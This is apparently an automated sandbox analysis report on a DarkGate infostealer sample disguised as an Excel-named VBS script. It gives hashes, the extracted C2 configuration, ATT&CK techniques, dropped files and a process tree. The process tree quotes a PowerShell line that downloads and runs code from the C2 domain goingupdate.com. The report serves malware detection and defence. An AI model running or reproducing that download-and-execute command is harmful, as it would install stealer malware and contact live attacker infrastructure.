darkgate | 2d960acdda45cd77a0590c6f652d8496eba30e1b2b263f6a083ac5b27512d1c6

General

Target

MICROSOFT_OFFICE_EXCEL_A.vbs
Size

12KB
MD5

bbaded0a8091b76257dc4880c9ef59dc
SHA1

ecae806439418202758a1011005f726a57399032
SHA256

2d960acdda45cd77a0590c6f652d8496eba30e1b2b263f6a083ac5b27512d1c6
SHA512

4ca8b46fa3ddcf4dfd370619da65dd96a00127618828016b833d8f94f6ca5c13981160b1abf389995c14a7d700ee2d3d1a08c8199c68153265619e8684c7b41c
SSDEEP

192:QMg119gkCtL3IqSPN3QzGNzUoNzhLnOdEpeLSHZgNdPR/Dnm9V4nNX:Ly19gR3IquNgzG2oNdOdEpeeqlPt

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

goingupdate.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
BCaKNSck
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/2972-34-0x0000000003160000-0x00000000031D3000-memory.dmp	family_darkgate_v6
behavioral2/memory/2972-36-0x0000000003160000-0x00000000031D3000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
13	3836	powershell.exe
24	3836	powershell.exe
39	3836	powershell.exe
40	3836	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2972	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3836	powershell.exe
3836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 3836	3788	WScript.exe	88
PID 3788 wrote to memory of 3836	3788	WScript.exe	88
PID 3836 wrote to memory of 2972	3836	powershell.exe	101
PID 3836 wrote to memory of 2972	3836	powershell.exe	101
PID 3836 wrote to memory of 2972	3836	powershell.exe	101
PID 3836 wrote to memory of 3592	3836	powershell.exe	102
PID 3836 wrote to memory of 3592	3836	powershell.exe	102

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3592	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MICROSOFT_OFFICE_EXCEL_A.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'goingupdate.com/ptoleqco')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\znjs\AutoHotkey.exe
    "C:\znjs\AutoHotkey.exe" C:/znjs/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:2972
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/znjs/
    3⤵
    - Views/modifies file attributes
    PID:3592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykkfrooo.zu2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\znjs\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\znjs\script.ahk

Filesize
53KB

MD5
827895df44c913dc5a7d09b6d870515f

SHA1
85602bc43253a7305485915e7ccf473bb9fb80ce

SHA256
4a7f3d3493544b18437d93c33bc0a58368559bf3d6a280ea37701ed26a9eca4c

SHA512
754599aa4eedbd1a5fdb299921b03ad62fa7e562f4348d3ad85da00f37f7aa34a7d789fb2736f3332e1e0dea6ae95468a80ebcb95cc527a5fe3d1329314e94ff

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C:\znjs\test.txt

Filesize
913KB

MD5
b148cf7994ff0b13731d59c6dbad74d7

SHA1
c80fe953e57298e7d306e224fd204237d774211a

SHA256
1e179123985709f3c82c2cf0c6e8bfa857e075015254c136939862f683c5aa5f

SHA512
02a752c8962014297076bc28ea658a1e317791fac302e8d8b86566b2b9fe326673b3871d97f8d89b041e9f6cbe538b7e04da61ca27b0d0536079efa566b55f51

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memory/2972-34-0x0000000003160000-0x00000000031D3000-memory.dmp

Filesize
460KB

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memory/2972-36-0x0000000003160000-0x00000000031D3000-memory.dmp

Filesize
460KB

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memory/3836-5-0x000001297EE00000-0x000001297EE22000-memory.dmp

Filesize
136KB

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memory/3836-10-0x00007FFCCDF00000-0x00007FFCCE9C1000-memory.dmp

Filesize
10.8MB

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memory/3836-11-0x000001297EDA0000-0x000001297EDB0000-memory.dmp

Filesize
64KB

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memory/3836-12-0x000001297EDA0000-0x000001297EDB0000-memory.dmp

Filesize
64KB

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memory/3836-13-0x0000012980000000-0x00000129801C2000-memory.dmp

Filesize
1.8MB

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memory/3836-31-0x00007FFCCDF00000-0x00007FFCCE9C1000-memory.dmp

Filesize
10.8MB

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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